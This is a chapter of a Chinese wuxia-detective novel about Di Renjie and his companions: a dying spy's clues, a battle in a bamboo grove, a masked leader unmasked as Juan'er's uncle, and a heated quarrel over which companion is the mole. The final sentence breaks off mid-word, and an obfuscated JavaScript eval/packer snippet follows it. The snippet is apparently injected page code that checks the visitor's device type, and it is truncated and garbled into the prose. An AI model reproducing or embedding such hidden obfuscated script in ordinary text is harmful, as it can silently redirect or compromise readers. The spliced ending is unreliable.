韩忠义笑道:“咦,你怎么连说的话儿都跟‘王八’一模一样啊?” 几人都笑了。 这时,忽听得外面大道上蹄声踏踏,一骑快马正飞驰而来。 狄仁杰几人都赶忙静默,到破了洞的纸窗前向外一看。 只见尘土飞扬中,马匹方至院外,便发出了咴的一声嘶鸣,将马上那人直摔了下来。 他一声惨呼,倒在了雪地上。 狄仁杰等人忙出外一看,只见那人呼吸细微,略带颤抖,几乎快断气了。 他浑身上下到处都是伤,兀自流着鲜血,还沾着泥土和雪花。 那人一面发出了痛楚的叫声,瞥眼见到了狄仁杰几人,忙道:“救……救我……” 几人方过来,那人便一把抓住了狄仁杰的手腕,看着他道:“你……你是……狄……狄仁杰……” 几人都是一惊。 狄仁杰道:“你是谁?你怎么会认得我?” 那人“啊”的一声,眼神中登时又是欣慰又是激动,可也充满了焦急和哀伤,甚至还带有一点绝望,却又似乎将狄仁杰当作了最后的一丝希望,抓住他手腕的手握得更紧了,直勾勾地盯着他的眼睛,一面咳血,一面断断续续地道:“我……终于……找到……你……我……十三年前……陛下……派我……他们……内部……” 狄仁杰忙道:“你快别说了,先救你的命要紧。” 那人忙一转身,脸上浮现出了痛苦的神情,另一只手也轻轻地扶住了狄仁杰的胳膊,缓缓摇头道:“来……来不及了……” 狄仁杰忙问:“到底是谁把你伤成了这个样子?” 那人一字一顿道:“寒……刀……帮……” 韩忠义道:“又是寒刀帮!他们就在附近吗?” 那人微微点了点头,又道:“我是……暗探……” 狄仁杰道:“你是奉旨打入寒刀帮内部的暗探?” 那人又吐了口血,道:“不……不是……不是寒刀帮……寒……寒刀帮……不是幕后黑手……” 狄仁杰忙问:“那到底是谁?” 那人痛得“啊”的叫了一声,不由得双手放开了狄仁杰,仰卧在了雪地上,轻轻地摆动着头,呼吸急促,快连发出声音的力气也没了,只小小声地说出了一连串的词:“造反……京都……洛阳……李姓……宝剑……禁军……徐杰……吏部……何璧……内奸……内奸……”说着又呕血。 狄仁杰忙道:“你先别说这么多,先说谁是幕后黑手。” 那人只感到眼前恍恍惚惚,一片片的雪花落在脸上,寒风一吹凉凉的,不觉从眼角流出了热泪来,哭叫:“十三年哪!十三年!黑暗!不是人!苦啊!” 狄仁杰知道那人已失去理智,再迟就真的来不及了,只连忙摇晃着他叫道:“你快说呀!说呀!到底是谁!”喘了口气,见那人兀自神志不清,说着胡话,遂又看着他平静地说道:“我知道你很痛苦,这十三年来你无时无刻不是提心吊胆地活着。可你要相信,你所做的这一切,都不是徒然。也许因你一人所带出来的消息,便可以救得上万人免遭涂炭。所以不要让你十三年的雪藏尽付东流!快说,那人到底是谁?” 那人一听,登时清醒了,猛一转头,看着狄仁杰道:“是他……是他……是他!” 狄仁杰道:“谁?” 那人叫道:“他还活着……他没死!他还活着!” 狄仁杰喝问:“到底是谁?” 那人最后说了一句:“是……徐……徐……徐几……徐几……他弟弟……徐几也……徐几也……弟弟……徐几……”说着便气绝。 几人都惊道:“竟然是他!” 韩忠义“嗐”的一声,道:“我早就说是他!” 狄仁杰见那人死不瞑目,遂用手在他的面上轻轻一拂,方才闭眼了。 几人正欲将他埋了,忽见远方有无数黑影闪动。 韩忠义忙道:“你们护着大人,我过去看看。” 狄仁杰道:“忠义小心!” 韩忠义遂展开轻功前去,耳旁风声呼啸,飞雪扑面而来。 此刻身上系有“凌云宝剑”,正挎在腰间。 韩忠义踏着树枝,迅速地环视四周,只见数不清的黑影在自己身边乱晃,皆是身手敏捷的高手。 韩忠义不由得一惊,想道:“适才那人为寒刀帮所害,莫非便是他们?”忙手握剑柄,时刻提防着他们突袭。 却见那些黑影并不出动,只是在乱树林中迅捷地挪移。 韩忠义想道:“他们似乎是想把我引到什么地方?” 便跟着狂奔。 行了数里路,来至尽头处,竟是一竹林。 此时风雪迷蒙,夜却不甚暗,因为有月光照亮。 韩忠义穿过一片茂林修竹,到了正中央时,正东张西望间,忽地从四面八方闪出了无数个蒙面杀手,齐围在了自己周边。 韩忠义猛一回头,只见一个蒙面人已站在了离自己一丈远处,用他沙哑的嗓音说道:“韩忠义,别来无恙?” 韩忠义认了出来,便是当夜劫走了彭大人的那个杀手领头。不禁说道:“又是你。” 那领头的哼哼冷笑道:“自五湖镇一别,你和你主子狄仁杰都过得还好吗?” 韩忠义哼了一声,道:“托你的福,好得很哪!” 领头的道:“我已在此恭候多时了。” 韩忠义道:“你知道我要来?” 那领头的道:“当然知道,你和狄仁杰的一举一动,我都了如指掌。” 韩忠义皱眉道:“看来我们中间果真有你们的人,是不是他向你们通风报信的?” 领头的惊道:“你……你不要胡说!我们哪用得着什么人来通风报信……” 韩忠义哼道:“你都这么说了,看来就是了。”喝问:“那个内奸到底是谁?” 领头的道:“你真的想知道吗?” 韩忠义道:“我虽想知道,你却也未必肯告诉我。” 领头的道:“那如果我真的告诉你了呢?” 韩忠义道:“那你说的肯定是假的。” 领头的道:“这就是了,那你又何必多问。” 韩忠义道:“你这是不肯说喽?” 领头的哈哈大笑道:“韩忠义啊韩忠义,你跟你主子狄仁杰是一样的蠢!” 韩忠义哼道:“你们是很聪明,可却是用它来作恶。” 领头的轻轻地叹了一声,抬头望着半空中的飞雪,叹道:“每个人都有善恶两面,可这二者又有什么分别?你所认为的恶,又何尝不是我心目中的善?” 韩忠义冷笑道:“好一个冠冕堂皇的理由。你们滥杀无辜,扰乱天下,这难道就是你心目中的善?” 领头的看着他道:“无辜?谁是无辜的?我问你,这世上有哪一个人是无辜的?有哪一个人是无罪的?我告诉你,所有的人都有罪!至多也不过是罪大罪小之别!彭羽是个好官吗?王家呢?这个天下呢?这些愚蠢的老百姓呢?这世上的人呢!他们好吗!他们难道不该杀吗!” 韩忠义道:“你心中除了仇恨,还有什么?” 领头的含泪叫道:“没有了!我什么都没有了!我只剩下仇恨了,无穷无尽的仇恨!如果没有了仇恨,我就活不下去了,你明白吗!” 韩忠义道:“我不知道你都经历了些什么,可不管怎样,人也不能只有仇恨哪。” 领头的道:“那还有什么?” 韩忠义道:“爱。” 领头的道:“爱?” 韩忠义点头道:“是的,爱。人世间只有一样东西能大过一切仇恨,那就是爱。” 领头的呵呵苦笑道:“爱?这些人值得去爱吗?” 韩忠义道:“或许确实不值得。可你爱他们,并不是因为他们值得你去爱,而是必须要爱。爱是这世界上、也是人身上最本质的东西。当你失去了爱,生命还剩下什么意义呢?你又怎么能活得快乐呢?” 领头的冷笑了一声,道:“你不会明白的。我们所有人都被这无耻虚伪的世界给坑害过,所以早就不知道什么叫做‘爱’了。我们只想报仇。” 韩忠义道:“那你们报仇的对象又是谁?” 领头的道:“便是这世上的恶人。” 韩忠义道:“以恶报恶是解决不了问题的。” 领头的叫道:“韩忠义!你不要跟我讲这些大道理!你跟你主子狄仁杰是一模一样的虚伪,只会满口说着些不切实际的废话!你有本事就用你无边的爱、伟大的善去感化他们吧!还想在这里跟老子说教?哼哼哼!我告诉你,我现在先解决了你小子,然后再送你狄大人他们跟你一起上路!”一面大笑,做了个手势,叫道:“兄弟们!都给我上!杀了他!” 韩忠义眼见上百个杀手一齐持刀杀将来,不觉紧皱了眉头,冷汗直流,明知此刻纵使自己武功再为高绝,亦难逃九死一生,只得拔出剑来拼命。 漫天飞雪如梨花般乱舞,伴随着狂风阵阵。 眼花缭乱中朦朦胧胧,好似茫茫浓雾笼罩了整片大地。 月色当空,无数刀刃寒光闪动,映着遍地积雪熠熠生辉。 一声大喝回荡,剑气横扫,近身诸人排排倒下,雪白上顿时铺陈了一片殷红。 兵刃撞击时发出的刺耳声响徐徐消散在了辽阔的夜空中。 林间清幽而宽广,在风雪交加之中飒飒作响。 刀剑乱晃,如雾里看花,目不暇接。 黑影绰绰,似神出鬼没,无影无踪。 擦过时竹叶轻缓飘落,掠过时竹竿倾斜折腰,扫过时竹心空空如也,闪过时竹韵声声滴翠。 兼有无数暗器透穿飞雪疾射而来,于剑光挥舞之下悉数坠落。 一波未平又起一波,烟霭迷漫之中现出了万根雪松针,犹如浩瀚无际的宇宙中无穷尽的星辰一般不可胜数,又仿若银河倒悬骤然倾泻,拂过空中层层寒意,使之威力更甚其初,渗入尘世间可见与不可见的每个角落。 欲待持剑挡格,奈何一触即破,上从剑尖,下至剑柄,转瞬结冰,脱手而出,顷刻之间,裂成碎片。 刺骨极寒直指面门,便似天昏地暗一般携风带雪席卷而来。 未及眨眼,猛地沸反盈天,热潮如涌,寒针宛似身处炎炎烈日之中尽数消融。 闻得四周啪啪巨响,方一扭头,只见一竿竿绿油油的修竹连根拔起,如同泰山压顶之势袭来。 遽尔一跃半空,俯瞰下方群竹相戮,炸响延绵。 双足方轻触竹枝,铁器便再度齐飞,其间冰冷与杀气交错纵横,相互覆盖。 东躲西闪之际,运起十足内力,登时气压沉沉,翾风回雪,竹叶片片脱开,漂浮于天地之间,荡漾在月光之外。 注视那恍若梦境的场面,好似水中望月,虚实难辨。 叶片之上堆积着与其相濡以沫的霜雪,于寒凉患难之中不肯相弃。 冰冷则更显其情深意切,似在言说,任尔北风无情吹来,吾等亦将永不分离! 因而刮来者绝非散辞,乃恭祝白头偕老之意。 二者遂牢不可破,更为坚固,胜似诸般器械。 叶片均附有深厚内力,如流星般闪烁着转瞬即逝的光芒,划过一片漆黑的夜空,从众生的眼前飞驰而过。又像雨点般天衣无缝,无懈可击,发出唰唰之声迅疾洒落,挡掉了一切的障碍与危机,一面似鞭炮爆裂一般攻来,噼里啪啦混着惨呼之声不绝于耳,登时便在五彩斑斓的雪地上盛开了一朵朵鲜红的爆仗竹,渲染了整个夜晚。 瞬即干戈止息,风雪无迹。 竹林中复归静谧。 这时狄仁杰等七人方入了竹林,便闻得一股血腥气扑鼻而来。 见林中遍地尸体,血流成河,也着实吓人。 都“忠义”“韩忠义”“韩将军”“韩大哥”“忠义哥”的乱叫了一番,忽见尸体丛中一人浑身是伤,正弯着腰吐血,正是韩忠义。 七人都忙过来慰问,听韩忠义喘了口气道:“我没事儿。” 胡乐道:“你不是梅四儿,他才是梅四儿。” 只见那领头的趴在地上,奄奄一息。 韩忠义道:“你们不用怕。他如今经脉俱断,武功尽失,已无威胁。” 洪辉道:“你们这个帮派杀了那么多无辜的人,今日落得如此下场,也算是罪有应得了。” 胡乐骂道:“妈的个巴子的,你都快死了,还蒙面呢!”说着就跑去扯开了那领头的遮面布。 他的面容显得很苍老,然实际年龄最多也就四五十岁左右。尖尖的鼻子,翘翘的嘴,更有鹰视狼顾之相。下巴颏有一小撮胡须,跟头发一样都灰白了。 他凶狠地盯着几人,眼神中满了仇恨。 鹃儿走近一看,突然“啊”的一声惊呼,用手捂住了嘴。 狄仁杰几人见她眼睛瞪得大大的,一副难以置信的神情,忙都问她怎么了。 她呼吸急促,浑身颤抖,一步步地向后退。 要不是几人赶忙将她扶住,她便是摔了一跤也似乎不会察觉。 她眼中含着泪水,便欲夺眶而出,看着地上那领头的,缓缓摇着头道:“怎么会是你啊……叔叔!” 狄仁杰几人也都“啊”的一声,大吃一惊。 胡乐道:“啥?他是你叔叔!” 洪辉道:“这个大恶人竟然是你叔叔?” 狄宁道:“怎么会这样?” 马肃道:“真的假的?” 韩忠义也看着她道:“你说什么?” 鹃儿放声大哭,一面摇头道:“为什么……为什么是你呀……” 胡乐冲过来揪住那领头的头发喝道:“你说!你到底认不认识鹃妹妹!” 领头的哈哈大笑道:“我怎么会认识她。” 狄仁杰问她道:“鹃儿,他真是你叔叔吗?” 鹃儿道:“狄老爷,绝对没错儿呀,他就是我叔叔!” 狄仁杰道:“可你不是说你叔叔他是个哑巴吗?” 鹃儿叫道:“我叔叔他是个哑巴呀!就是他!我以前从来就没有听他说过一句话!” 洪辉指着那领头的喝问:“我再问你一次,你到底是不是鹃姑娘的叔叔?” 领头的叫道:“我都说了,我不认识她!老子什么时候成了这妞儿的叔叔了?” 鹃儿跑过来跪在他面前哭道:“叔叔,你为什么不认我呀?你不记得我啦?我是鹃儿呀……” 领头的朝她啐了一口唾沫,骂道:“你谁啊你?干吗非要来认老子做叔叔?要不要陪老子睡一觉啊?来啊!我是你亲叔叔!” 胡乐、洪辉、马肃等人都大骂那领头的,要不是狄仁杰几人忙劝住了,直要把他打死。 鹃儿拭泪道:“叔叔,你什么时候变成了什么寒刀帮的坏人啦?” 领头的大笑道:“我是你野叔叔!”被胡乐、洪辉冲过来当头几个栗暴。 鹃儿道:“叔叔,原来你会说话呀。” 领头的哼了一声,看着另外几人道:“你们不是一直很想知道你们中间那个内奸是谁吗?老子反正现在也快死了,就告诉你们了吧!”看着鹃儿叫道:“就是她!这小娘们儿就是我们安插的奸细!” 韩忠义喝道:“你胡说八道!” 领头的道:“我胡说八道?是你们太愚蠢了!” 马肃怒道:“你个狗东西都死到临头了还来乱咬人?鹃儿姑娘好好的,又怎么会是内奸!” 领头的道:“不信?那你们就好好想想,那天夜里我领人血洗彭府,府内除了她一个人,还有没有其他活口?” 狄仁杰道:“你想说什么?” 领头的哼哼笑道:“狄仁杰,你知道我想说什么。” 韩忠义道:“如果她真是你们的人,那你又为什么要来告诉我们?” 狄仁杰道:“你说的到底是真是假?” 领头的笑道:“狄仁杰,你不是断案如神吗?你猜啊!哈哈哈哈哈!” 狄仁杰见他突然嘴巴紧闭,神情痛苦,忙叫:“他要咬舌!快阻止他!” 那领头的又含混不清地最后说了一句:“狄仁杰……地狱里见……”满口的鲜血便连带半截舌头直喷了出来,头一歪斜,倒在雪地里,当场气绝身亡。 几人都吓了一跳。 鹃儿一见,登时便发了疯似的喊道:“不要!不要!”立时昏倒在地。 几人赶忙将她扶起,见她睁开了眼,哭叫:“叔叔!叔叔!”泪水不停地流。又连忙爬了过去,抱着那领头的,看着他哽咽道:“你为什么要这样?我是你的亲侄女儿啊,你为什么要抛弃我?你为什么要把我卖到彭府?为什么?为什么呀叔叔?我们从前虽然穷,可也可以安稳度日,你为什么要去杀人?为什么?为什么?你是鹃儿在世上唯一的亲人了,你为什么要离开我?”泣不成声。 几人这才相信,那领头的确是她的叔叔。 鹃儿一直在哭,几人也一直在安慰她,过了许久方止。 鹃儿亲手将那领头的埋在了雪底下,哭得眼睛都肿了。 见四周均是杀手们的尸体,场面太过血腥,几人便向前又行了几里路,空气方清新些。 都坐靠在了竹竿上,各自低着头,谁也不说话。 就连洪辉突然想开个口,然想到鹃儿这么伤心,也只好把话给收回去了。 鹃儿知道他们皆因自己的缘故才这般,遂主动开口道:“你们……怎么都不说话?” 洪辉一见她开口,便忙道:“这个……鹃姑娘,我们怕你伤心,不敢多嘴。” 胡乐接着也道:“对对对,怕你伤心。” 狄宁也劝道:“你不要太难过,已经给你叔叔收尸了。” 马肃道:“是啊,不要太难过。” 鹃儿道:“谢谢你们。”看着韩忠义道:“韩大哥,你身上的伤怎么样?还痛吗?” 韩忠义冷笑道:“我痛不痛还用你管?” 这话一出,其他几人都吃了一惊。 鹃儿道:“对不起韩大哥……我……我只是问一下……” 韩忠义指着她怒喝:“你别再在我面前装!”说着“哎哟”一声。 鹃儿忙道:“哎呀,韩大哥你的伤……” 韩忠义看着她怒吼道:“你给我滚!” 胡乐见了大怒道:“韩忠义!你干吗呀你啊!鹃妹妹得罪你啦!” 韩忠义转过去指着他道:“你现在就给我闭嘴。” 胡乐叫道:“你好好的为什么要欺负鹃妹妹!” 韩忠义道:“我叫你闭嘴,你没有听见吗?” 胡乐“哦”的一声,点头道:“我明白了。是因为你刚才打架打累了,所以你现在就拿人家姑娘来出气,对吧?韩忠义啊,你好不要脸哪!” 韩忠义发了疯似的狂叫道:“我叫你闭嘴!你没有听见吗!”说着一掌打过去。 胡乐大叫一声,登时口吐鲜血,倒了下来。 几人一见都吓呆了。 狄仁杰叫道:“忠义!你这是做什么!” 胡乐怒叫:“韩忠义!你果然是奸细!我跟你拼啦!”爬起身便向韩忠义直扑将去。 另外几人赶忙将他们拉住,七嘴八舌地乱劝。 狄仁杰叹了口气道:“你们也真是的,怎么又闹起来了?忠义啊,你打胡乐那一掌又是为了什么缘故?” 韩忠义怒目指着胡乐狂叫:“他故意的!又来惹我!你就是故意要气死我!” 胡乐也气得浑身发抖,瞪眼指着韩忠义颤声乱骂:“是你在气我!你个王八蛋!我操你妈!你竟然敢欺负我鹃妹妹,你看我不杀了你我!” 二人又要打起来。 马肃叫道:“韩大哥、胡兄弟!你们都别再闹啦!你们也不看看狄公还有鹃儿姑娘有多烦恼啊!” 鹃儿见二人这般,颤抖着含泪自责道:“这都是我的不对……” 韩忠义朝她狂喝:“滚!你给我滚!你他妈的给我滚!你要再让我看到你,你信不信我立刻就杀了你!” 鹃儿直吓得大哭了起来,叫道:“韩大哥为什么突然这么恨我!” 韩忠义点头道:“好啊,你还装,你还在演戏。你看我不杀了你!”说着一掌劈将去。 狄仁杰忙大叫:“忠义你不要啊!” 洪辉叫着“忠义哥别呀”,狄宁喊着“韩将军别动手”,二人连忙一齐冲来替鹃儿挡格。 此时韩忠义身受重伤,这一掌威力并不甚强,又没有附带内劲,二人便迅速化解了,挡在鹃儿面前,一面劝他。 见韩忠义便似失去了理智,狂叫:“你们还护着她!你们难道不相信我吗!她才是内奸!”运起内力,大喝一声,又是一掌向她击去。 洪辉、狄宁二人连忙挡格,却抵受不住,一齐大叫一声,倒了下来。 韩忠义本就受了伤,此时外加愤怒,体内登时气血翻涌,一口鲜血直喷了出来,向后踉跄了几步,跌了下去。 胡乐见韩忠义倒下了,冲过来就要打他出气,被另外几人赶忙拦住,一面就去扶韩忠义,不料被他一把推开,自己爬了起来,使尽全力,又是一掌朝鹃儿击去。 马肃连忙化解,双手摇晃着他的双肩叫道:“韩大哥!你冷静点!” 鹃儿一脸迷茫的神色望着几人道:“韩大哥他……他为什么会说我……说我是内奸?我……我真的是内奸吗?” 几人忙对她道:“你别多想。” 韩忠义哈哈大笑道:“装,装!是不是内奸,你自己心里还不清楚吗?” 洪辉忙道:“忠义哥,刚才那个人明明就是胡说八道啊,他说的那屁话你还当真啦?他那明明就是趁机要陷害鹃姑娘嘛!鹃姑娘多么善良的人哪,怎么会是内奸呢?” 韩忠义道:“你们都被她的外表给欺骗了!所谓的善良,还不都是装出来的!” 胡乐指着他怒叫:“你他妈凭什么说鹃妹妹是装的!她那是真善良!姓韩的,我看你才最会装!你才是装的!” 韩忠义乜斜着眼看他道:“姓胡的,你别太嚣张,否则不知道日后你会怎么死。” 胡乐大怒,随即冷笑道:“韩忠义,你还咒我死呢?嗯?哼,我怎么死,至少你是看不到了!嘿,瞧你现在这副德性,估计命也不长久了吧?啊?哈哈哈!” 韩忠义怒极,指着颤声狂叫:“姓胡的!我杀了你……!”方上前几步,又是一口鲜血喷出,不觉腿一软,跪倒在地。 胡乐见了哈哈大笑。 几人都赶忙来扶,又劝了半日,韩忠义方平静了些。 狄仁杰道:“忠义啊,你为什么说鹃儿是内奸呢?” 韩忠义道:“卑职从前跟着大人办了那么多案子,哪有几回像这次这样,消息泄露了这么多!”指着鹃儿道:“就是她。自从她出现了以后,跟在了我们的身边,那消息便屡次泄露。此次敌暗我明,我们便如同他们棋盘上一个个棋子,被他们玩弄于股掌之间,当作猴子一般来耍弄!这难道不是内奸通风报信的缘故?那我们中间的这个内奸又会是谁呢?只有可能是后来加入的。” 洪辉惊道:“这……忠义哥,你……你这话什么意思啊?” 梅四儿冷笑了一声。 洪辉叫道:“你干吗笑啊!” 梅四儿道:“我没笑。” 马肃轻轻“嗯”了一声,微微点了点头。 鹃儿低着头嗫嚅道:“我……我确实是后来的……” 韩忠义只冷冷一笑,并不理睬,说道:“一直以来出来办案的都是我跟大人还有狄宁,我们三个人自然都不可能是内奸。” 胡乐听了,咬着牙狠狠道:“姓韩的你是故意的么?哪一次办案又少得了我?你把我胡乐排除在外是什么意思?” 韩忠义哼了一声,看着他道:“没错,我就是故意把你排除在外的。你虽然一直也有跟着我们三人,可你的嫌疑最大!从前我们四人出来办案时,消息也曾不止一次地泄露过。我现在越来越怀疑,你姓胡的成日装疯卖傻的就是为了要掩人耳目,因为你就是大人身边最大的奸细!” 胡乐叫道:“你血口喷人!” 韩忠义冷笑一声,道:“你的真实身份到底是什么,你自己心里清楚得很。” 胡乐叫道:“我的真实身份就是老爷的管家!我是当朝宰相狄阁老的管家,胡乐!” 韩忠义道:“你管家的身份或许只是你众多身份之一而已。” 胡乐怒道:“你别他妈的胡说八道!我胡乐从小就跟了老爷,我一直以来就只有这么一个身份,就只有这一个身份而已,而且永远就只有这么一个!” 韩忠义道:“你是从小跟了大人,所以说你藏得很深哪。” 胡乐道:“你韩忠义跟了咱老爷更久,所以说你藏得比我还深!” 韩忠义道:“你亲口承认了。” 胡乐叫道:“我没有!” 韩忠义喝道:“那你为什么说‘比我还深’?” 胡乐叫道:“那是说你!” 韩忠义喝道:“你说的是我,可你比的是你自己!” 胡乐叫道:“我比我自己不代表我就是!” 韩忠义喝道:“你要不是做贼心虚那你叫什么叫!” 胡乐大叫:“我就叫了!我就叫了!你不是也在叫!看来你也是做贼心虚啊!你还贼喊捉贼,恶人先告状!” 韩忠义大喝:“你刚刚说什么!你说了‘也是做贼心虚’,看来你也是贼!” 胡乐大叫:“你说‘你也是贼’,说明你也是贼!” 旁边几人根本劝不住,也都叫嚷起来。 洪辉指着梅四儿大叫:“姓梅的!你不也是后来的!你为什么一直说我有问题!我看你也有问题!” 梅四儿道:“我哪一句话说你有问题了?是你自己一直在对号入座。我看你今晚确实很不对劲啊,是不是被人戳破了心事啊?” 胡乐一面叫骂韩忠义:“……所以你一直诬陷我是内奸,就是因为你自己才是真正的内奸!你又知道我知道你是内奸的事儿,怕我把你的真实身份给抖搂出来,所以你就诬陷我是内奸,就是为了给你自己摆脱嫌疑!你……”一面回过头来叫骂梅四儿:“姓梅的!你个王八蛋!你又来欺负我辉兄弟来啦!你别他妈的贼喊捉贼了!你就是那个通风报信的内奸!你早在山洞里等着咱掉下来,然后潜伏在我们身边……” 鹃儿叫道:“唉呀你们都别吵啦!” 韩忠义指着她怒喝:“你给我滚!还轮不上你说话!” 鹃儿叫道:“韩大哥!我不是内奸哪!” 韩忠义大叫:“就是你!” 洪辉一面叫骂梅四儿:“姓梅的!你一下说我洪辉有问题,现在又来诬陷胡乐哥,你是不是他妈的有病啊!我现在也觉得你才是内奸!”一面回过头来叫道:“忠义哥!你不要冤枉了鹃姑娘啊!她是无辜的!她不是内奸!” 马肃也叫:“鹃儿姑娘肯定不是内奸!” 狄宁在一片叫嚷中插不上话,只微微低下了头。 狄仁杰只静静地看,也不说话。 胡乐又叫骂起韩忠义来:“说鹃妹妹是内奸的人就是内奸!这个人叫韩忠义!他姓‘韩’,就是寒刀帮的‘寒’!所以他是寒刀帮的内奸!韩忠义!你一直向寒刀帮通风报信,你快承认了吧!” 韩忠义又叫骂起胡乐来:“你他妈的满口放什么鸟屁!我说真正的内奸是内奸,你倒说我说她我就是内奸了!简直跟你的姓一样,是‘胡’说八道!你说我姓‘韩’我就是寒刀帮的人,那我还说你姓‘胡’呢,是胡人的‘胡’!所以你胡乐是个胡人,不是个汉人!你既然是胡人,那你肯定不是内奸,因为你连个‘内’都算不上,只是一个‘外’而已!所以你不应该叫‘内奸’,应该叫‘汉奸’!” 胡乐怒气冲天,狂叫一声便直扑将来。 韩忠义大喝一声,一掌击将去,旁边几人还来不及阻拦,便已打着了胡乐。 韩忠义此时也是力竭,与胡乐同时身受内伤。 二人闷哼一声,口吐鲜血,内脏剧痛,向后便倒。 狄仁杰叫道:“不要打啦!” 二人却怒气未消,不肯罢手,在雪地上又打成了一团。 此时的韩忠义与胡乐武力相当,一时竟分不出上下来。 二人又是掐脖子又是扯头发的,搂抱在一起满地打滚,倒像是两个小孩儿在耍子。 狄仁杰几人忙将二人使劲掰开,又是不停地劝。 二人气喘吁吁,各自靠在了竹竿上,怒目相视,嘴里兀自说对方是“内奸”。 胡乐道:“我管你怎么说,反正我胡乐对老爷是一片忠心,决不会做对不起他的事儿!” 韩忠义道:“你都做内奸了,还说对得起大人吗?” 胡乐叫道:“韩忠义!我都不想跟你吵了!我怎么就是内奸了?” 韩忠义喝问:“那当时消息是怎么泄露的?” 胡乐道:“你说什么呀?” 韩忠义道:“你别给我装傻!那么多回破案了以后,那过程的细节,你……你难道真的不知道吗?” 胡乐道:“我听不懂你在说什么。” 韩忠义道:“你怎么会听不懂呢?我现在才算明白了,原来一直以来通风报信的那个人就是你呀。” 胡乐冷笑一声,道:“你想说我是寒刀帮的人?” 韩忠义道:“不是寒刀帮。” 胡乐哈哈笑道:“不是寒刀帮?那我还做啥子奸细啊!” 韩忠义道:“我现在怀疑你又是在装。哼,难道只有寒刀帮才能安插奸细?我看你就很有可能是另一方势力的人。” 胡乐道:“谁?” 韩忠义道:“你心里清楚!” 胡乐道:“我?清楚什么呀?” 韩忠义道:“我怎么觉得你现在好像很紧张啊?” 胡乐笑道:“韩忠义,是你自己心里紧张,才会突然这么说的吧?” 韩忠义道:“你背后的靠山果然很大。” 胡乐道:“韩忠义,你在说什么呀?我怎么就听不明白呢?” 韩忠义冷笑道:“你是听不明白,还是不想听明白,还是不敢听明白啊?” 狄宁插口道:“韩将军,胡乐他不可能是奸细。” 韩忠义道:“怎么就不可能?” 狄宁道:“他不像。” 韩忠义冷笑了一声,道:“他要是像了,那他还真就不是了!” 胡乐道:“你他妈的强词夺理啊!哦,我‘像了’,我倒‘不是了’。嘿,有这个理吗?王八蛋!” 韩忠义缓缓站起身来,看着几人道:“我现在就跟你们说啊,我们中间一共有两个内奸。” 洪辉惊道:“忠义哥,你说啥?有俩?” 梅四儿看着他道:“哟,你莫不是其中之一?” 洪辉叫道:“我不是!是你!” 几人其实都知道韩忠义此时要说出哪两个人名,却仍是凝神静听。 韩忠义道:“这二人分别是两个不同势力安插的奸细:一个是胡乐,还一个便是这个鹃儿。” 胡乐坐靠在竹竿上,冷笑道:“那你说说,我们俩都是帮谁的?” 韩忠义道:“这个鹃儿不言而喻,便是寒刀帮的。” 鹃儿只呆看着地上的雪,轻轻地摇了摇头。 胡乐道:“那我呢?” 韩忠义道:“你?哼,我当然也知道。只是,我现在不想说出来。” 胡乐冷笑道:“你是不想说出来,还是根本就说不出来?” 韩忠义道:“我当然说得出来。只是说了以后,你背后那主子……哼,罢了,给你主子留点脸面,我也就不说破了。” 胡乐叫道:“我主子叫狄仁杰!他是我明面上的主子,不用什么背不背后的!” 韩忠义道:“所以说你明面上有一个主子,背后还有一个主子,而你实际上还是把你背后的那个主子当作了真正的主子。喂,你对你背后的那个主子,倒也忠心耿耿啊!” 胡乐只冷笑了一声。 韩忠义道:“只是你背后这个主子,至少暂时对大人还无威胁,我也就暂时不追究了。现在我要说的,就是这个鹃儿,这个寒刀帮安插的奸细。” 马肃劝道:“韩大哥,你切勿冤枉了胡兄弟,更别冤枉了鹃儿姑娘。我马肃也是后来加入的,我也可能是内奸。” 韩忠义道:“我实话跟你们说,我说她是奸细,并非心血来潮,而是经过了深思熟虑以后,才得出来的结论。至于马兄,我也曾不止一次地怀疑过你,可如今我要向你道歉,我不该对你起疑心。” 马肃道:“韩大哥,你怀疑得是,这没什么。马某此次与狄公的案子碰巧撞到了一块儿,倒似早已策划好的阴谋,任谁都不可能不起疑。就连我自己都曾疑惑过,我这么轻易就博得了你们的信任,这是怎么回事?我这么一来,倒像是特意要潜伏在你们身边,而不是什么案件中的受害者。只有一种可能,那就是狄公实在是断案如神,能够一眼看穿那被表面的疑窦所遮住的背后实际的真相。不论再高明的谎言,在狄公面前也如儿戏。明白了这一点,我便可以安心地将一切的真话摆在他面前,他也自然会为我做主。可是就算如此,我的到来依然是个谜,因为着实太过突兀。就连你们此次所查之案,也与我颇有相似之处。不论是军中内奸案、军粮被劫案,皆是出于陛下派遣。更不消说搜查队被杀案还有寒刀帮,更是与我脱不了干系。这一桩桩一件件均是疑点,而且我也知道,我是难以证实我的清白的。就连通缉令上的三大罪犯,我都是其中之一呢。可另外两位,也就是狄公还有韩大哥,你们却是被歹徒陷害的对象。其实我又何尝不是?嗐,当然,口说无凭,也都不足为据。所以狄公、韩大哥,你们能够信任我,我马肃已是大大的感激了,又何敢奢望你们对我毫无疑心。” 洪辉道:“我看马大哥也确实不像。”又看着韩忠义道:“欸那我呢忠义哥,你有没有怀疑过我呀?我也是后来才加入的。” 韩忠义道:“我从来就没有疑心过你。因为如果你洪辉是内奸,等于说那些歹徒得先算好了大人的行程路线,也就是说,大人那天来到你们柳溪村并非偶然,而是他们局中的必然。不说通往边关的路有无数,单是荒郊野外,难道也只有你们柳溪村一条路可走吗?大人正正好行过都是极低的概率,若说乃提前算好,更是难以置信。而那天我们几人又正好摔下了悬崖,更是意料之外的事。而早在大人邂逅你之前,消息便已屡次泄露。所以大人与你相遇,关联到诸多事件,不过是巧中之巧,又有何根据说你洪辉是内奸?” 梅四儿道:“韩将军,那……那我呢?” 韩忠义道:“我刚刚才说了,我们掉下悬崖完全是出乎意料之外。如果你梅四儿是内奸,等于说歹徒既算好了我们路过林间小道的路线,又要透过军粮被劫这条线索引领我们从大道的旁边走去,然后摔下悬崖,而且还不能摔死,得正正好摔在那棵树上,那棵树还不能断掉,然后正正好弹到了山洞之中,遇见你时你还得活着。就这样还不够,当时我们中间还正正好不能有大人,否则他摔一下就死了,还谈什么潜伏下去?而且不但大人不能摔,大人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 